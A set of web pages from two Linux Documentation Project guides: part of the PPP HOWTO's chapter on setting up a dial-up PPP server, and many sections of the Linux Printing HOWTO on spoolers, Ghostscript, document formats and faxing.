The 'proxyarp' option sets up (surprise) a proxy ARP entry in the PPP server's ARP table that basically says 'send all packets destined for the PPP client to me'. This is the easiest way to set up routing to a single PPP client - but you cannot use this if you are routing between two LANs - you must add proper network routes which can't use proxy ARP.

You will almost certainly wish to provide dynamic IP number allocation to your dial up users. You can accomplish this by allocating an IP number to each dial up port. Now, create a /etc/ppp/options.ttyXX for each dial up port.

In this, simply put the local (server) IP number and the IP number that is to be used for that port. For example

kepler:slip01

In particular, note that you can use valid host names in this file (I find that I only remember the IP numbers of critical machines and devices on my networks - names are more meaningful)!

Prev | Home | Next
Setting up standard (shell access) dialup. | Up | Setting pppd up to allow users to (successfully) run it


Setting pppd up to allow users to (successfully) run it

Linux PPP HOWTO
Prev Chapter 28. Setting up a PPP server Next

28.6. Setting pppd up to allow users to (successfully) run it

As starting a ppp link implies configuring a kernel device (a network interface) and manipulating the kernel routing tables, special privileges are required - in fact full root privileges.

Fortunately, pppd has been designed to be 'safe' to run set uid to root. So you will need to...
chmod u+s /usr/sbin/pppd

When you list the file, it should then appear as...
-rwsr-xr-x   1 root     root        74224 Apr 28 07:17 /usr/sbin/pppd

If you do not do this, users will be unable to set up their ppp link.

Prev | Home | Next
Setting up the PPP options files | Up | Setting up the global alias for pppd


Setting up the global alias for pppd

Linux PPP HOWTO
Prev Chapter 28. Setting up a PPP server Next

28.7. Setting up the global alias for pppd

In order to simplify things for our dial up PPP users, we create a global alias (in /etc/bashrc) so that one simple command will start ppp on the server once they are logged in.

This looks like...
alias ppp="exec /usr/sbin/pppd -detach"

What this does is

  • exec : this means replace the running program (in this case the shell) with the program that is run.

  • pppd -detach : start up pppd and do NOT fork into the background. This ensures that when pppd exits there is no process hanging around.

When a user logs in like this, they will appear in the output of 'w' as...
  6:24pm  up 3 days,  7:00,  4 users,  load average: 0.05, 0.03, 0.00
User     tty       login@  idle   JCPU   PCPU  what
hartr    ttyC0     3:05am  9:14                -

And that is it...I told you this was a simple, basic PPP server system!

Prev | Home | Next
Setting pppd up to allow users to (successfully) run it | Up | Using PPP across a null modem (direct serial) connection


How to generate something worth printing.

The Linux Printing HOWTO
Prev Next

14. How to generate something worth printing.

Here we get into a real rat's-nest of software. Basically, Linux can run many types of binaries with varying degrees of success: Linux/x86, Linux/Alpha, Linux/Sparc, Linux/foo, iBCS, Win16/Win32s (with dosemu and, someday, with Wine), Mac/68k (with Executor), and Java. I'll just discuss native Linux and common Unix software.

14.1. Markup languages

Most markup languages are more suitable for large or repetitive projects, where you want the computer to control the layout of the text to make things uniform.

nroff

This was one of the first Unix markup languages. Man pages are the most common examples of things formatted in *roff macros; many people swear by them, but nroff has, to me at least, a more arcane syntax than needed (see Figure 9), and probably makes a poor choice for new works. It is worth knowing, though, that you can typeset a man page directly into postscript with groff. Most man commands will do this for you with man -t foo | lpr.

Figure 9. Example of roff Input

.B man
is the system's manual pager. Each
.I page
argument given to
.B man
is normally the name of a program, utility or function.
The
.I manual page
associated with each of these arguments is then found and
displayed. A
.IR section ,
if provided, will direct
.B man
to look
only in that
.I section
of the manual.
TeX

TeX, and the macro package LaTeX, are one of the most widely used markup languages on Unix. Technical works are frequently written in LaTeX because it greatly simplifies the layout issues and is still one of the few text processing systems to support mathematics both completely and well. TeX's output format is dvi, and is converted to PostScript or Hewlett Packard's PCL with dvips or dvilj. If you wish to install TeX or LaTeX, install the whole teTeX group of packages; it contains everything. Recent TeX installations include pdfTeX and pdfLaTeX, which produce Adobe PDF files directly. Commands are available do create hyperlinks and navigation features in the PDF file.

Figure 10. Example of LaTeX Input

\subsubsection{NAT}

  Each real server is assigned a different IP address, and the NA
  implements address translation for all inbound and outbound
  packets.

  \begin{description}
  \item[Advantage] Implementation simplicity, especially if we
        already implement other NAT capabilities.

  \item[Disadvantage] Return traffic from the server goes through
        address translation, which may incur a speed penalty.  This
        probably isn't too bad if we design for it from the
        beginning.

  \item[Disadvantage] NAT breaks the end-to-end semantics of normal
        internet traffic.  Protocols like ftp, H.323, etc would
        require special support involving snooping and in-stream
        rewriting, or complete protocol proxying; neither is likely
        to be practical.
  \end{description}
SGML

There is at least one free SGML parser available for Unix and Linux; it forms the basis of Linuxdoc-SGML's homegrown document system. It can support other DTD's, as well, most notably DocBook. This document is written in DocBook-DTD SGML; see Figure 11 for an example.

Figure 11. Example of DocBook SGML

<VarListEntry>
 <Term>SGML</Term>
 <ListItem>
  <Para>
   There is at least one free SGML parser available for Unix
   and Linux; it forms the basis of Linuxdoc-SGML's homegrown
   document system.  It can support other DTD's, as well, most
   notably DocBook.  This document is written in DocBook-DTD
   SGML.
  </Para>
 </ListItem>
</VarListEntry>

14.2. WYSIWYG Word Processors

There is no shortage of WYSIWYG word processing software. Several complete office suites are available, including one that's free for personal use (StarOffice).

StarOffice

Sun Microsystems is distributing StarOffice on the net free for Linux. This full-blown office suite has all the features you'd expect, including both import and export of Microsoft Office file formats (including Word documents). There's a mini-HOWTO out there which describes how to obtain and install it. It generates PostScript, so should work with most any printer that works otherwise on Linux.

WordPerfect

Corel distributes a basic version of WordPerfect 8 free for Linux, and sells various packages of Word Perfect Office 2000 (which includes WordPerfect, Corel Draw and Quattro Pro Versions 9). The Linux WordPerfect Fonts and Printers page has information about configuring WordPerfect for use with either Ghostscript or its built-in printer drivers (which are apparently identical the DOS WordPerfect drivers, if your printer's driver isn't included in the distribution).

Applix

Applix is a cross-platform (ie, various Unices, Windows, and others) office suite sold by the Applix company. Red Hat and SuSE sold it themselves when it was the only game in town; now sales have reverted to Applix. This is the only native Unix-style application suite; it probably fits in better with the Unix way of doign things.

AbiWord

AbiWord is one of several GPL WYSIWYG word processor projects; this one has produced a very nice word processor based on an XML format. It is capable of Word file import. AbiWord is still a work in progress, although it is useful for small things now.

Figure 12. AbiWord

LyX

LyX is a front-end to LaTeX which looks very promising. See the LyX Homepage for more information. There is a KDE-styled version of LyX, called Klyx; the author of LyX and the instigator of KDE are the same person.

Figure 13. LyX

Maxwell

Maxwell is a simple MS RTF-format based word processor which started as a commercial product but is now distributed under the GPL.

Other vendors should feel free to drop me a line with your offerings.

Prev | Home | Next
How to print to a fax machine. |  | Printing Photographs


How it all works

The Linux Printing HOWTO
Prev Next

7. How it all works

In order to get printing working well, you need to understand how your spooling software works. All systems work in essentially the same way, although the exact order might vary a bit, and some systems skip a step or two:

Figure 8. Spooling Illustration

  1. The user submits a job along with his selection of options. The job data is usually, but not always, Postscript.

  2. The spooling system copies the job and the options over the network in the general direction of the printer.

  3. The spooling system waits for the printer to be available.

  4. The spooling system applies the user's selected options to the job, and translates the job data into the printer's native language, which is usually not Postscript. This step is called filtering; most of the work in setting things up lies in getting the proper filtering to happen.

  5. The job is done. The spooling system will usually do assorted cleanup things at this point. If there was an error along the way, the spooler will usually notify the user somehow (for example, by email).

7.1. PDQ

Pdq stands for "Print, Don't Queue", and the way it works reflects this design. The following sequence of events happens when you use PDQ to print:

  • You run pdq or xpdq, specifying a file.

  • You specify a printer.

  • You specify the settings for the various options and arguments defined in the printer's PDQ driver file (duplex, copies, print quality, and so forth).

  • PDQ analyzes the contents of what you printed, and follows the instructions in the PDQ driver file which tell it how to process your data for this printer with your options.

  • PDQ sends the processed data to the printer according to the interface defined for that printer (straight to /dev/lp0, or to an LPD daemon on the network, over the network to an Apple or Microsoft system, or even to a fax machine).

  • If PDQ can't send the data to the printer right away, it spawns a background process to wait and try again until it succeeds or hits a time limit.

At all times during this process, and afterwards, the state of each print job can be seen and inspected using xpdq. Jobs that failed are shown in red and can be resent.

7.2. LPD

Lpd stands for Line Printer Daemon, and refers in different contexts to both the daemon and the whole collection of programs which run print spooling. These are:

lpd

The spooling daemon. One of these runs to control everything on a machine, AND one is run per printer while the printer is printing.

lpr

The user spooling command. Lpr contacts lpd and injects a new print job into the spool.

lpq

Lists the jobs in a print queue.

lpc

The Lpd system control command. With lpc you can stop, start, reorder, etc, the print queues.

lprm

lprm removes a job from the print spool.

So how does it fit together? The following things happen:

  1. At boot time, lpd is run. It waits for connections and manages printer queues.

  2. A user submits a job with the lpr command or, alternatively, with an lpr front-end like GPR, PDQ, etc. Lpr contacts lpd over the network and submits both the user's data file (containing the print data) and a control file (containing user options).

  3. When the printer becomes available, the main lpd spawns a child lpd to handle the print job.

  4. The child lpd executes the appropriate filter(s) (as specified in the if attribute in /etc/printcap) for this job and sends the resulting data on to the printer.

The lp system was originally designed when most printers were line printers - that is, people mostly printed plain ascii. By placing all sorts of magic in the if filter, modern printing needs can be met with lpd (well, more or less; many other systems do a better job).

There are many programs useful for writing LPD filters. Among them are:

gs

Ghostscript is a host-based Postscript interpreter (aka a Raster Image Processor or RIP). It accepts Postscript and produces output in various printer languages or a number of graphics formats. Ghostscript is covered in Section 10.

ppdfilt

ppdfilt is a standalone version of a CUPS component. It filters Postscript, executing a few basic transformations on it (n-up printing, multiple copies, etc) and adding in user option statements according to a Postscript Printer Definition (PPD) file usually included with Postscript printers.

ppdfilt is best used together with an option-accepting LPD system (like the VA Linux LPD, or LPRng) and a filter script which parses user-provided options into the equivalent ppdfilt command. VA Linux and HP provide a modified rhs-printfilters package which does exactly this; it produces nice results if you have a Postscript printer. See Section 8.2.2 for information on this system.

ps2ps

ps2ps is a utility script included with Ghostscript. It filters Postscript into more streamlined Postscript, possibly at a lower Language Level. This is useful if you have an older Postscript printer; most modern software produces modern Postscript.

mpage

mpage is a utility which accepts text or Postscript, and generates n-up output—that is, output with several page images on each piece of paper. There are actually several programs which do this, including enscript, nenscript, and a2ps.

a2ps

a2ps, aka any-to-ps, is a program which accepts a variety of file types and converts them to Postscript for printing.

Prev | Home | Next
Spooling software |  | How to set things up


Credits

The Linux Printing HOWTO
Prev Next

19. Credits

Special thanks to Jacob Langford, author of pdq, who finally gave us something better than the smattering of scripts globbed onto a 20 year old overgrown line-printer control program.

The smbprint information is from an article by Marcel Roelofs <marcel@paragon.nl>.

The nprint information for using Netware printers was provided by Michael Smith <mikes@bioch.ox.ac.uk>.

The serial printers under lpd section is from Andrew Tefft <teffta@engr.dnet.ge.com>.

The blurb about gammas and such for gs was sent in by Andreas <quasi@hub-fue.franken.de>.

The two paragraphs about the 30 second closing_wait of the serial driver was contributed by Chris Johnson <cdj@netcom.com>.

Robert Hart sent a few excellent paragraphs about setting up a print server to networked HPs which I used verbatim.

And special thanks to the dozens upon dozens of you who've pointed out typos, bad urls, and errors in the document over the years.

Prev | Home | Next
What's missing? |  | Index


What's missing?

The Linux Printing HOWTO
Prev Next

18. What's missing?

Many of the parts for a complete printing system do not exist yet. Projects are underway to address most of these, although most have not yet produced running useful code, and efforts to standardize the necessary protocols and APIs are in their infancy.

18.1. Plumbing

There's a general problem with getting all the parts to talk to one another; especially in a spooler-independent way. This problem manifests itself most noticably in the pathetic application support for control over all the "usual" printing features. There is simply no way for an application writer to get information about printers, jobs, etc; no standardized way to submit jobs; no good way to get job status back; nor even really a standardized way to generate print data (although most of the new desktop systems offer desktop-specific facilities for doing this).

Work to define a sensible API for applications to use for printing will undoubtedly center around Corel's sysAPS library, which provides a rudimentary implementation of several queueing and printer information features.

18.2. Fonts

Font handling on free systems is rather awkward. The display, the printer, the application, and the data files should ideally all have access to the same fonts. Unfortunately this is simply not the case. Plans are afoot to remove font handling from the X server, simplifying part of the problem, but good printer font to application font mapping is still a problem. No project really seems to be underway to address this; currently application writers simply embed their own fonts into printed data.

18.3. Metadata

Applications or spoolers need to learn about printer and driver properties somehow. The current standardized scheme, implemented on Windows, the Mac, and in CUPS, is to use Postscript Printer Description files to drive a programatic interface and user interface. This had trouble for non-Postscript printers, for obvious reasons, so the IEEE's Printer Working Group has a project to specify "Universal Printer Driver Format", or UPDF, files. Thus far they have constructed a sample file in an XML format. The sample file strongly resembles a PPD file, and is missing all sorts of driver and platform specific information; so much so that UPDF is currently not useful. IBM has a fully parameterized driver architecture for OS/2 which is available as free software; once this is released it is bound to be a useful source of ideas or code, and possibly a good enough system to just use outright. Even this system, however, provides no defined mechanism for communicating interesting properties from the driver space up to the application. Some XML format, and/or an API for fetching assorted properties, is bound to appear at some point.

18.4. Drivers

The state of free software drivers is rather poor. Fortunately, several projects are underway to correct this, and impressive results can now be had on printers using that code. The eventual goal seems to be to provide both good drivers and a good framework for the frequently duplicated (and hard!) parts of driver code—dithering, for example—to be shared.

Printer vendor cooperation will be an important part of achieving this goal. Vendors currently do not provide the minimum documentation necessary to operate their devices well. At the Printing Summit 2000, many vendors were present, and some small headway was made on this point. Vendors are mainly concerned with keeping the dithering and related algorithms secret; these software components are what produces such remarkable inkjet output, and the vendors are of course competing. Those vendors present at the summit should now have a clearer picture of how free software works and what we want from them. This isn't much; bt it sets the stage for future progress.

Prev | Home | Next
Serial printers under lpd |  | Credits


Index

A

accounting, Accounting
Apple
netatalk
See netatalk
printing from, From an Apple.
printing to, Printing to an EtherTalk (Apple) printer
AppSocket protocol, To AppSocket Devices
APS Filter, Basic LPD configuration
SuSE, SuSE
archiving
print durability, Print Durability

C

Caldera, Caldera
configuration
LPD, Configuring LPD
PDQ, Configuring PDQ
Corel, Corel
CUPS, CUPS
XPP
See XPP

D

Debian, Debian
Corel, Corel
drivers
port
See also ports
printer, Printer compatibility list

E

environment
enterprise, Large Installations, Printing to a networked printer
home, CUPS, Using a faxmodem

F

filtering, How it all works
LPD, Basic LPD configuration
PDQ, Language Filtering
filters
APS Filter, Basic LPD configuration, SuSE
lpdomatic, Basic LPD configuration
rhs-printfilters, Basic LPD configuration, Red Hat

G

Ghostscript, Ghostscript.
accounting, Accounting
photographs, Ghostscript and Photos
previewing, PostScript, Adobe PDF
tuning, Ghostscript output tuning

H

HP
JetDirect, To AppSocket Devices

I

if, Basic LPD configuration
See also LPD
Internet Printing Protocol
See IPP
IPP, CUPS

L

lpc, LPD
LPD, LPD
accounting, Accounting
AppSocket protocol, To AppSocket Devices
APS Filter, Basic LPD configuration
configuration, Configuring LPD
filters, Basic LPD configuration
if, Basic LPD configuration, Running an if for remote printers with old LPDs
lpc, LPD
lpdomatic, Basic LPD configuration
lpq, LPD
lpr, LPD
lprm, LPD
Netware networks, From LPD
network printers, Printing to a networked printer
permissions, File Permissions
PostScript, LPD for PostScript Printers
rhs-printfilters, Basic LPD configuration
Unix networks, Printing to a Unix/lpd host
VA Linux's version, LPD, LPD for PostScript Printers
Windows networks, From LPD
lpdomatic, Basic LPD configuration
lpq, LPD
lpr, LPD
usage, With LPD and the lpr command
lprm, LPD
LPRng, LPRng
accounting, Accounting
AppSocket protocol, To AppSocket Devices
Caldera, Caldera

M

Mandrake, Mandrake

N

ncpfs, From Netware.
netatalk, From an Apple.
Netware
ncpfs
See ncpfs
printing from, From Netware.
printing to, Printing to a NetWare Printer
networks, Networks
administration, Networked Printer Administration
Apple, Printing to an EtherTalk (Apple) printer, From an Apple.
AppSocket protocol, To AppSocket Devices
large, Large Installations
LPD, Printing to a Unix/lpd host
Netware, Printing to a NetWare Printer, From Netware.
network printers, Printing to a networked printer
PDQ, With pdq
print servers, Large Installations, Printing to a networked printer
rlpr, With rlpr
Unix, Printing to a Unix/lpd host
Windows, Printing to a Windows or Samba printer, From Windows.
npadmin, Networked Printer Administration
uses, Large Installations, Accounting

P

paper
quality, Paper
PDF, Postscript
previewing, Adobe PDF
PDQ, PDQ
Apple networks, From PDQ
appletalk, Drivers and Interfaces
AppSocket protocol, To AppSocket Devices
configuration, Configuring PDQ
creating drivers, Creating a PDQ Driver Declaration
filtering, Language Filtering
finding drivers, Creating a PDQ Driver Declaration
from Windows, From Windows.
Netware networks, Printing to a NetWare Printer
network printers, Printing to a networked printer
overview, PDQ
Unix networks, With pdq
usage, With PDQ
Windows networks, From PDQ
photograph
color, Color Printing in Ghostscript
commercial software, Shareware and Commercial Software
gamma, Gamma, dotsizes, etc.
Ghostscript, Ghostscript and Photos
printers, How to buy a printer
tips, Printing Photographs
ports, Kernel printer devices
parallel, The lp device (kernels <=2.1.32), The parport device (kernels >= 2.1.33)
serial, Serial devices, Serial printers under lpd
USB, USB Devices
Postscript, Postscript
See also Ghostscript
LPD, LPD for PostScript Printers
previewing, PostScript
printers, Postscript, LPD for PostScript Printers
PPR, PPR
previewing, On-screen previewing of printable things.
PDF, Adobe PDF
Postscript, PostScript
printers
buying, What printers work?, How to buy a printer
photograph, How to buy a printer

R

Red Hat, Red Hat
rhs-printfilters, Basic LPD configuration
rlpr, With rlpr

S

samba, From Windows.
spoolers, How it all works
CUPS, CUPS
LPRng, LPRng
PDQ, PDQ
PPR, PPR
SuSE, SuSE

V

VA Linux
LPD, LPD, LPD for PostScript Printers

W

Windows
printing from, From Windows.
printing to, Printing to a Windows or Samba printer
samba
See samba
winprinters, Supported Printers
workarounds, Windows-only printers

X

xpdq, PDQ
See also PDQ
usage, Xpdq
XPP, XPP, CUPS
Prev | Home
Credits |


How to print to a fax machine.

The Linux Printing HOWTO
Prev Next

13. How to print to a fax machine.

You can print to a fax machine with, or without, a modem.

13.1. Using a faxmodem

There are a number of fax programs out there that will let you fax and receive documents. One of the most powerful is Sam Leffler's HylaFAX. It supports all sorts of things from multiple modems to broadcasting.

SuSE ships a Java HylaFax client which allegedly works on any Java platform (including Windows and Linux). There are also non-Java fax clients for most platforms; Linux can almost certainly handle your network faxing needs.

Also available, and a better choice for smaller installations, is efax, a simple program which sends and receives faxes. The getty program mgetty can receive faxes using efax (and do voicemail or interactive logins).

13.1.1. Faxing from PDQ

PDQ doesn't ship with a fax interface declaration, but here's a simple one (which is only partly tested):
interface efax-0.1 {
   help "This interface uses the efax package's fax program to send a
         fax.  You should first get efax's \"fax send\" working by
         itself by editing the file /etc/efax.rc and testing.  Connect
         this interface to a generic postscript driver to define a
         fax machine \"printer\"".

   requires { "efax" "fax" }

   # Making phone number required means that the add printer wizard
   # will demand a phone number at add printer time.  This is
   # undesirable, so it isn't explicitly required, even though it is
   # logically required.  The send_exec script checks for the number.
   # You could skip the wizard by adding this printer by hand to
   # .printrc, mark this as required, and it might then prompt?
   argument {
      var = "PHONE_NUMBER"
      desc = "Phone Number"
      help = "The phone number to dial.  Prefixes like 9 ought to be
              defined in your /etc/efax.rc file."
   }

   option {
      var = "RESOLUTION"
      desc = "Fax resolution"
      default_choice = "high"
      choice "low" {
         value = "-l"
         desc = "Low"
         help = "Low resolution on a fax is 96lpi."
      }
      choice "high" {
         value = ""
         desc = "High"
         help = "High resolution on a fax is 192lpi."
      }
   }

   # If you don't specify a phone number the job just fails, and
   # the only way to figure this out is to look at the error message
   # at the bottom of the job details.  Hmm.
   send_exec {
     if [ "x$PHONE_NUMBER" != "x" ]
     then
          fax send $RESOLUTION $PHONE_NUMBER $INPUT
     else
          echo 'You must specify a phone number!'
          false
     fi
   }
}

13.2. Using the Remote Printing Service

There is an experimental service offered that lets you send an email message containing something you'd like printed such that it will appear on a fax machine elsewhere. Nice formats like postscript are supported, so even though global coverage is spotty, this can still be a very useful service. For more information on printing via the remote printing service, see the Remote Printing WWW Site.

13.3. Commercial Faxing Services

A number of companies operate web-based faxing services. EFax, in particular, offers free inbound faxes (to your own dedicated fax number, no less) via email, and fax transmission for a fee. Other companies offer similar services.

Prev | Home | Next
Windows-only printers |  | How to generate something worth printing.


Ghostscript.

The Linux Printing HOWTO
Prev Next

10. Ghostscript.

Ghostscript is an incredibly significant program for Linux printing. Most printing software under Unix generates PostScript, which is typically a $100 option on a printer. Ghostscript, however, is free, and will generate the language of your printer from PostScript. When tied in with your PDQ printer driver declaration or lpd input filter, it gives you a virtual PostScript printer and simplifies life immensely.

Ghostscript is available in two forms. The commercial version of Ghostscript, called Aladdin Ghostscript, may be used freely for personal use but may not be distributed by commercial entities. It is generally a year or so ahead of the free Ghostscript; at the moment, for example, it supports many color inkjets that the older Ghostscripts do not and has rather better PDF support.

The free version of Ghostscript is GNU Ghostscript, and is simply an aged version of Aladdin ghostscript. This somewhat awkward arrangement has allowed Aladdin to be a totally self-funded free software project; the leading edge versions are done by L Peter and a few employees, and are licensed to hardware and software vendors for use in commercial products. Unfortunately, while this scheme has provided for L Peter's continued work on Ghostscript for years, it has also inhibited the participation of the wider free software community. Driver authors, in particular, find the arrangement poor. L Peter's retirement plans mandate a larger community involvement in the project, so he is considering license changes, and has established a SourceForge project.

Whatever you do with gs, be very sure to run it with the option for disabling file access (-dSAFER). PostScript is a fully functional language, and a bad PostScript program could give you quite a headache.

Speaking of PDF, Adobe's Portable Document Format (at least through 1.3) is actually little more than organized PostScript in a compressed file. Ghostscript can handle PDF input just as it does PostScript. So you can be the first on your block with a PDF-capable printer.

10.1. Invoking Ghostscript

Typically, Ghostscript will be run by whatever filter you settle upon (I recommend apsfilter or my own lpdomatic if your vendor didn't supply anything that suits you), but for debugging purposes it is often handy to run it directly.

gs -help will give a brief listing of options and available drivers (note that this list is the list of drivers compiled in, not the master list of all available drivers).

You might run gs for testing purposes like: `gs <options> -q -dSAFER -sOutputFile=/dev/lp1 test.ps'.

10.2. Ghostscript output tuning

There are a number of things one can do if Ghostscript's output is not satisfactory (actually, you can do anything you darn well please, since you have the source).

Some of these options, and others are described in the Ghostscript User Guide (the file Use.htm in the Ghostscript distribution; possibly installed under /usr/doc or /usr/share/doc on your system) are all excellent candidates for driver options in your filter system or PDQ driver declaration.

10.2.1. Output location and size

The location, size, and aspect ratio of the image on a page is controlled by the printer-specific driver in ghostscript. If you find that your pages are coming out scrunched too short, or too long, or too big by a factor of two, you might want to look in your driver's source module and adjust whatever parameters jump out at you. Unfortunately, each driver is different, so I can't really tell you what to adjust, but most of them are reasonably well commented.

10.2.2. Gamma, dotsizes, etc.

Most non-laser printers suffer from the fact that their dots are rather large. This results in pictures coming out too dark. If you experience this problem with an otherwise untunable driver, you could use your own transfer function. Simply create the following file in the ghostscript lib-dir and add its name to the gs call just before the actual file. You may need to tweak the actual values to fit your printer. Lower values result in a brighter print. Especially if your driver uses a Floyd-Steinberg algorithm to rasterize colors, lower values ( 0.2 - 0.15 ) are probably a good choice.

%!
%transfer functions for cyan magenta yellow black
{0.3 exp} {0.3 exp} {0.3 exp} {0.3 exp} setcolortransfer

It is also possible to mend printers that have some kind of color fault by tweaking these values. If you do that kind of thing, I recommend using the file colorcir.ps, that comes with ghostscript (in the examples/ subdirectory), as a test page.

For many of the newer color inkjet drivers, there are command-line options, or different upp driver files, which implement gamma and other changes to adapt the printer to different paper types. You sould look into this before playing with Postscript to fix things.

10.2.3. Color Printing in Ghostscript

Ghostscript's default color dithering is optimized for low-resolution devices. It will dither rather coarsely in an attempt to produce 60ppi output (not dpi, ppi - the "apparent" color pixels per inch you get after dithering). This produces rather poor output on modern color printers; inkjets with photo paper, in particular, are capable of mich finer ppi settings.

To adjust this, use the Ghostscript option -dDITHERPPI=x, where x is the value to use. This may or may not have an effect with all drivers; many newer drivers (the Epson Stylus stp driver, for example) implement their own dithering and pay no attention to this setting. Some drivers can use either the regular Ghostscript or driver-specific dithering (the Canon Bubblejet bjc600 driver, for example).

Ghostscript's dithering is in fact rather rudimentary. Many things needed for good output on modern printers are simply not available in the Ghostscript core. Various projects to fix this situation—and the free software world does have the software to do so ready and waiting—are hampered by Ghostscript's licensing situation and the resulting "cathedral" development style. Beginning at the Open Source Printing Summit 2000, however, all the necessary people are talking, so you can expect this situation to improve shortly.

Prev | Home | Next
Vendor Solutions |  | Networks


How to print

The Linux Printing HOWTO
Prev Next

3. How to print

You actually use a different command to print depending on which spooling software you use.

3.1. With PDQ

Most systems today ship with lpd, so this section won't apply. That said, I now recommend that people install and use PDQ in most cases instead of (or in addition to) lpd. PDQ just has much better support for printer options and such.

With PDQ, instead of the lpr command, you use the command pdq or xpdq. Both work much like the traditional lpr in that they will print the files you specify, or stdin if no files are given.

3.1.1. Xpdq

Xpdq is an X Windows application that shows a list of available printers and a summary of the print queue (including current and historical jobs). There are two options under the File menu, one to print specific files, and one to print stdin. You can set whatever options are defined in your printer driver from the Driver Options dialog; typically there will be duplex, resolution, paper type and size settings, and so forth.

3.1.2. Pdq

The PDQ system's command-line printing command is simply called pdq. It can be used in place of the lpr command in most situations; it accepts the -P printer specification argument. Like lpr, it prints either the listed file(s) or stdin.

Printer options can be controlled with the -o and -a options.

3.2. With LPD and the lpr command

If you've already got lpd setup to print to your printer, or your system administrator already did so, or your vendor did so for you, then all you need to do is learn how to use the lpr command. The Printing Usage HOWTO covers this, and a few other queue manipulation commands you should probably know. Or just read the lpr(1) man page.

In a nutshell, you specify the queue name with -P, and specify a filename to print a file, or nothing to print from stdin. Driver options are traditionally not controllable from lpr, but various systems accept certain options with -o, -Z, or -J.

If, however, you have a new system or new printer, then you'll have to set up printing services one way or another before you can print. Read on!

3.3. GUI Printing Tools

Most spooling systems alone offer only a rather basic command-line interface. Rather than use lpr directly, you may wish to obtain and use a front-end interface. These generally let you fiddle with various printing options (the printer, paper types, collation, n-up, etc) in an easy-to-use graphical way. Some may have other features, as well.

3.3.1. GPR

GPR, by Thomas Hubbell, uses code from CUPS to filter Postscript jobs and offer easy user control over job options. Some options (like n-way printing, page selection, etc) are implemented directly by GPR, while most others are implemented by the printer or by the spooler's filter system.

GPR works with LPD or LPRng; or can be compiled specifically for use with VA Linux's modified LPD. When compiled normally, it uses VA's libppd directly to produce printer-specific PostScript which it will then submit to the lpr command. When compiled for VA's LPD, it will submit your unmodified job PostScript to the lpr command, along with the set of job options you specify. This is arguably the better route, since it allows the Postscript to be redirected to a different printer by the spooler when appropriate; unfortunately it required VA's special LPD, which is not in wide circulation yet (although it is of course trivial to install).

To use GPR, first select a printer (by LPD queue name) and check that GPR has loaded the proper PPD file. If it hasn't, you'll need to specify the PPD filename, and specify your printer's options in the Printer Configuration dialog (you get this dialog by pressing the Printer Configuration button; it contains assorted printer setup options defined by the PPD).

Once you've configured your printer in GPR, you can print jobs by specifying the filename and selecting the proper options from the `Common' and `Advanced' tabbed panels. The `Common' options are implemented directly by GPR for all printers, while the `Advanced' options are defined by the PPD file for your printer. You can see these option panels in Figure 2 and Figure 3.

Figure 1. GPR Main Options

Figure 2. GPR Common Options

Figure 3. GPR Printer Options

3.3.2. XPP

If you use CUPS as your spooler, you can use the program XPP (see Figure 4).

To print with XPP, simply run the xpp program, and specify a file (or nothing, if you're using xpp in place of lpr to print from stdin). Then select a printer from the list of configured printers, and select any options you'd like to apply from the various tabbed panels. See Figure 5 for an example options panel highlighting the standard CUPS options.

You can save your selected printer and all the options with the `Save Settings' button.

Figure 4. XPP Main Window

Figure 5. CUPS/XPP Options Window

3.3.3. XPDQ

PDQ can be easily configured to print to queues controlled by most spooling systems, and PDQ's configuration syntax offers a very easy way to define arbitrary filtering and user options for print jobs. So you can thus use xpdq as a front-end to LPD printing with great success.

For more information, see Section 6.2.

Prev | Home | Next
Quick Start |  | Kernel printer devices


Introduction

The Linux Printing HOWTO
Prev Next

1. Introduction

The Printing HOWTO should contain everything you need to know to help you set up printing services on your Linux box(en). As life would have it, it's a bit more complicated than in the point-and-click world of Microsoft and Apple, but it's also a bit more flexible and certainly easier to administer for large LANs.

This document is structured so that most people will only need to read the first half or so. Most of the more obscure and situation-dependent information in here is in the last half, and can be easily located in the Table of Contents, whereas most of the information through section 8 or 9 is probably needed by most people.

If you find this document or the LinuxPrinting.org website useful, consider buying something through my referral association with buy.com or outpost.com; please use the links on the suggested printers page so that your purchase can be credited to LinuxPrinting.org.

Since version 3.x is a complete rewrite, some information from previous editions has been lost. This is by design, as the previous HOWTOs were so large as to be 60 typeset pages, and had the narrative flow of a dead turtle. If you do not find your answers here, you are encouraged to a) look on the LinuxPrinting.org website and b) drop me a note saying what ought to be here but isn't.

The LinuxPrinting.org website is a good place to find the latest version; it is also, of course, distributed from Metalab (metalab.unc.edu) and your friendly local LDP mirror.

1.1. History

This is the fourth generation of the Printing HOWTO. The history of the PHT may be chronicled thusly:

  1. I wrote the printing-howto in 1992 in response to too many printing questions in comp.os.linux, and posted it. This predated the HOWTO project by a few months and was the first FAQlet called a `howto'. This edition was in plain ascii.

  2. After joining the HOWTO project, the Printing-HOWTO was merged with an Lpd FAQ by Brian McCauley <B.A.McCauley@bham.ac.uk>; we continued to co-author the PHT for two years or so. At some point we incorporated the work of Karl Auer <Karl.Auer@anu.edu.au>. This generation of the PHT was in TeXinfo, and available in PS, HTML, Ascii, and Info.

  3. After letting the PHT rot and decay for over a year, and an unsuccessful attempt at getting someone else to maintain it, this rewrite happened. This generation of the PHT is written in SGML using the LinuxDoc DTD and the SGML-Tools-1 package. Beginning with version 3.27, it incorporates a summary of a companion printer support database; before 3.27 there was never a printer compatibility list in this HOWTO (!).

  4. In mid-January, 2000, I found out about the PDQ print "spooler". PDQ provides a printing mechanism so much better than lpd ever did that I spent several hours playing with it, rewrote parts of this HOWTO, and bumped the version number of the document to 4.

  5. In mid-2000, I moved my printing website to www.linuxprinting.org, and began offering more powerful configuration tools there. I also converted the HOWTO to DocBook, and initiated coverage of CUPS, LPRng, and GPR/libppd.

1.2. Copyright

This document is Copyright (c) 1992-2000 by Grant Taylor. Feel free to copy and redistribute this document according to the terms of the GNU General Public License, revision 2 or later.

Prev | Home | Next
The Linux Printing HOWTO |  | Quick Start


The Linux Printing HOWTO
Prev

Index

Prev | Home
Credits |


The Linux Printing HOWTO

Grant Taylor

gtaylor+pht@picante.com

Version $Revision: 5.10 $, $Date: 2000/09/18 05:06:17 $

This is the Linux Printing HOWTO, a collection of information on how to generate, preview, print and fax anything under Linux (and other Unices in general).

Table of Contents
1. Introduction
1.1. History
1.2. Copyright
2. Quick Start
3. How to print
3.1. With PDQ
3.2. With LPD and the lpr command
3.3. GUI Printing Tools
4. Kernel printer devices
4.1. The lp device (kernels <=2.1.32)
4.2. The parport device (kernels >= 2.1.33)
4.3. Serial devices
4.4. USB Devices
5. Supported Printers
5.1. Postscript
5.2. Non-Postscript
